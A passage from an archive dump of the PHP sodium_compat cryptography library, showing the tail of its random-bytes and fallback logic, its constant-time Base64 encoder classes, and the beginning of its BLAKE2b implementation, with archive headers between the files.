            if (is_numeric($numBytes)) {
                $numBytes = (int) $numBytes;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' .
gettype($numBytes) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_buf')) {
            return (string)
call_user_func('\\Sodium\\randombytes_buf', $numBytes);
        }
        return random_bytes($numBytes);
    }

    /**
     * Generate an integer between 0 and $range (non-inclusive).
     *
     * @param int $range
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_uniform($range)
    {
        /* Type checks: */
        if (!is_int($range)) {
            if (is_numeric($range)) {
                $range = (int) $range;
            } else {
                throw new TypeError(
                    'Argument 1 must be an integer, ' .
gettype($range) . ' given.'
                );
            }
        }
        if (self::use_fallback('randombytes_uniform')) {
            return (int)
call_user_func('\\Sodium\\randombytes_uniform', $range);
        }
        return random_int(0, $range - 1);
    }

    /**
     * Generate a random 16-bit integer.
     *
     * @return int
     * @throws Exception
     * @throws Error
     * @throws TypeError
     */
    public static function randombytes_random16()
    {
        if (self::use_fallback('randombytes_random16')) {
            return (int)
call_user_func('\\Sodium\\randombytes_random16');
        }
        return random_int(0, 65535);
    }

    /**
     * Runtime testing method for 32-bit platforms.
     *
     * Usage: If runtime_speed_test() returns FALSE, then our 32-bit
     *        implementation is to slow to use safely without risking
timeouts.
     *        If this happens, install sodium from PECL to get acceptable
     *        performance.
     *
     * @param int $iterations Number of multiplications to attempt
     * @param int $maxTimeout Milliseconds
     * @return bool           TRUE if we're fast enough, FALSE is not
     * @throws SodiumException
     */
    public static function runtime_speed_test($iterations, $maxTimeout)
    {
        if (self::polyfill_is_fast()) {
            return true;
        }
        /** @var float $end */
        $end = 0.0;
        /** @var float $start */
        $start = microtime(true);
        /** @var ParagonIE_Sodium_Core32_Int64 $a */
        $a = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1
<< 16));
        for ($i = 0; $i < $iterations; ++$i) {
            /** @var ParagonIE_Sodium_Core32_Int64 $b */
            $b = ParagonIE_Sodium_Core32_Int64::fromInt(random_int(3, 1
<< 16));
            $a->mulInt64($b);
        }
        /** @var float $end */
        $end = microtime(true);
        /** @var int $diff */
        $diff = (int) ceil(($end - $start) * 1000);
        return $diff < $maxTimeout;
    }

    /**
     * This emulates libsodium's version_string() function, except
ours is
     * prefixed with 'polyfill-'.
     *
     * @return string
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress UndefinedFunction
     */
    public static function version_string()
    {
        if (self::useNewSodiumAPI()) {
            return (string) sodium_version_string();
        }
        if (self::use_fallback('version_string')) {
            return (string)
call_user_func('\\Sodium\\version_string');
        }
        return (string) self::VERSION_STRING;
    }

    /**
     * Should we use the libsodium core function instead?
     * This is always a good idea, if it's available. (Unless
we're in the
     * middle of running our unit test suite.)
     *
     * If ext/libsodium is available, use it. Return TRUE.
     * Otherwise, we have to use the code provided herein. Return FALSE.
     *
     * @param string $sodium_func_name
     *
     * @return bool
     */
    protected static function use_fallback($sodium_func_name =
'')
    {
        static $res = null;
        if ($res === null) {
            $res = extension_loaded('libsodium') &&
PHP_VERSION_ID >= 50300;
        }
        if ($res === false) {
            // No libsodium installed
            return false;
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        if (!empty($sodium_func_name)) {
            return is_callable('\\Sodium\\' . $sodium_func_name);
        }
        return true;
    }

    /**
     * Libsodium as implemented in PHP 7.2
     * and/or ext/sodium (via PECL)
     *
     * @ref https://wiki.php.net/rfc/libsodium
     * @return bool
     */
    protected static function useNewSodiumAPI()
    {
        static $res = null;
        if ($res === null) {
            $res = PHP_VERSION_ID >= 70000 &&
extension_loaded('sodium');
        }
        if (self::$disableFallbackForUnitTests) {
            // Don't fallback. Use the PHP implementation.
            return false;
        }
        return (bool) $res;
    }
}
PK	�[�OA�Qchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Base64/Common.phpnu�[���<?php

/**
 * Class ParagonIE_Sodium_Core_Base64
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot
com)
 *
 * We have to copy/paste the contents into the variant files because PHP
5.2
 * doesn't support late static binding, and we have no better
workaround
 * available that won't break PHP 7+. Therefore, we're forced to
duplicate code.
 */
abstract class ParagonIE_Sodium_Core_Base64_Common
{
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4))
& 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6))
& 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4))
& 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) |  $c3      ) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the
correct base64 alphabet'
            );
        }
        return $dest;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit
integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    abstract protected static function decode6Bits($src);

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit
integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    abstract protected static function encode6Bits($src);
}
PK	�[$T�--Schat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Base64/Original.phpnu�[���<?php

/**
 * Class ParagonIE_Sodium_Core_Base64
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot
com)
 */
class ParagonIE_Sodium_Core_Base64_Original
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4))
& 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6))
& 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4))
& 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the
correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE

    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit
integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src -
0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) &
($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src -
0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) &
($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src -
0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) &
($src + 5);

        // if ($src == 0x2b) $ret += 62 + 1;
        $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63;

        // if ($src == 0x2f) ret += 63 + 1;
        $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit
integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15
        $diff -= ((61 - $src) >> 8) & 15;

        // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 3;

        return pack('C', $src + $diff);
    }
}
PK	�[��LW33Rchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Base64/UrlSafe.phpnu�[���<?php

/**
 * Class ParagonIE_Sodium_Core_Base64UrlSafe
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot
com)
 */
class ParagonIE_Sodium_Core_Base64_UrlSafe
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4))
& 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6))
& 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4))
& 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*',
ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the
correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE
    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit
integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src -
0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) &
($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src -
0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) &
($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src -
0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) &
($src + 5);

        // if ($src == 0x2c) $ret += 62 + 1;
        $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63;

        // if ($src == 0x5f) ret += 63 + 1;
        $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit
integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13
        $diff -= ((61 - $src) >> 8) & 13;

        // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 49;

        return pack('C', $src + $diff);
    }
}
PK	�[��ŻT]T]Kchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/BLAKE2b.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core_BLAKE2b extends
ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    protected static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    protected static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9, 
4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15, 
8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3,
13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1, 
9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8,
11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2,
10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10, 
5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 ,
0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit
integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function new64($high, $low)
    {
        $i64 = new SplFixedArray(2);
        $i64[0] = $high & 0xffffffff;
        $i64[1] = $low & 0xffffffff;
        return $i64;
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit
integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return SplFixedArray
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a
SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    protected static function add64($x, $y)
    {
        $l = ($x[1] + $y[1]) & 0xffffffff;
        return self::new64(
            (int) ($x[0] + $y[0] + (
                ($l < $x[1]) ? 1 : 0
            )),
            (int) $l
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @param SplFixedArray $z
     * @return SplFixedArray
     */
    protected static function add364($x, $y, $z)
    {
        return self::add64($x, self::add64($y, $z));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function xor64(SplFixedArray $x, SplFixedArray $y)
    {
        if (!is_numeric($x[0])) {
            throw new SodiumException('x[0] is not an integer');
        }
        if (!is_numeric($x[1])) {
            throw new SodiumException('x[1] is not an integer');
        }
        if (!is_numeric($y[0])) {
            throw new SodiumException('y[0] is not an integer');
        }
        if (!is_numeric($y[1])) {
            throw new SodiumException('y[1] is not an integer');
        }
        return self::new64(
            (int) (($x[0] ^ $y[0]) & 0xffffffff),
            (int) (($x[1] ^ $y[1]) & 0xffffffff)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $c
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function rotr64($x, $c)
    {
        if ($c >= 64) {
            $c %= 64;
        }
        if ($c >= 32) {
            /** @var int $tmp */
            $tmp = $x[0];
            $x[0] = $x[1];
            $x[1] = $tmp;
            $c -= 32;
        }
        if ($c === 0) {
            return $x;
        }

        $l0 = 0;
        $c = 64 - $c;

        if ($c < 32) {
            /** @var int $h0 */
            $h0 = ((int) ($x[0]) << $c) | (
                (
                    (int) ($x[1]) & ((1 << $c) - 1)
                        <<
                    (32 - $c)
                ) >> (32 - $c)
            );
            /** @var int $l0 */
            $l0 = (int) ($x[1]) << $c;
        } else {
            /** @var int $h0 */
            $h0 = (int) ($x[1]) << ($c - 32);
        }

        $h1 = 0;
        $c1 = 64 - $c;

        if ($c1 < 32) {
            /** @var int $h1 */
            $h1 = (int) ($x[0]) >> $c1;
            /** @var int $l1 */
            $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1
<< $c1) - 1)) << (32 - $c1);
        } else {
            /** @var int $l1 */
            $l1 = (int) ($x[0]) >> ($c1 - 32);
        }

        return self::new64($h0 | $h1, $l0 | $l1);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @return int
     * @psalm-suppress MixedOperand
     */
    protected static function flatten64($x)
    {
        return (int) ($x[0] * 4294967296 + $x[1]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    protected static function load64(SplFixedArray $x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param SplFixedArray $u
     * @return void
     * @psalm-suppress MixedAssignment
     */
    protected static function store64(SplFixedArray $x, $i, SplFixedArray
$u)
    {
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            /*
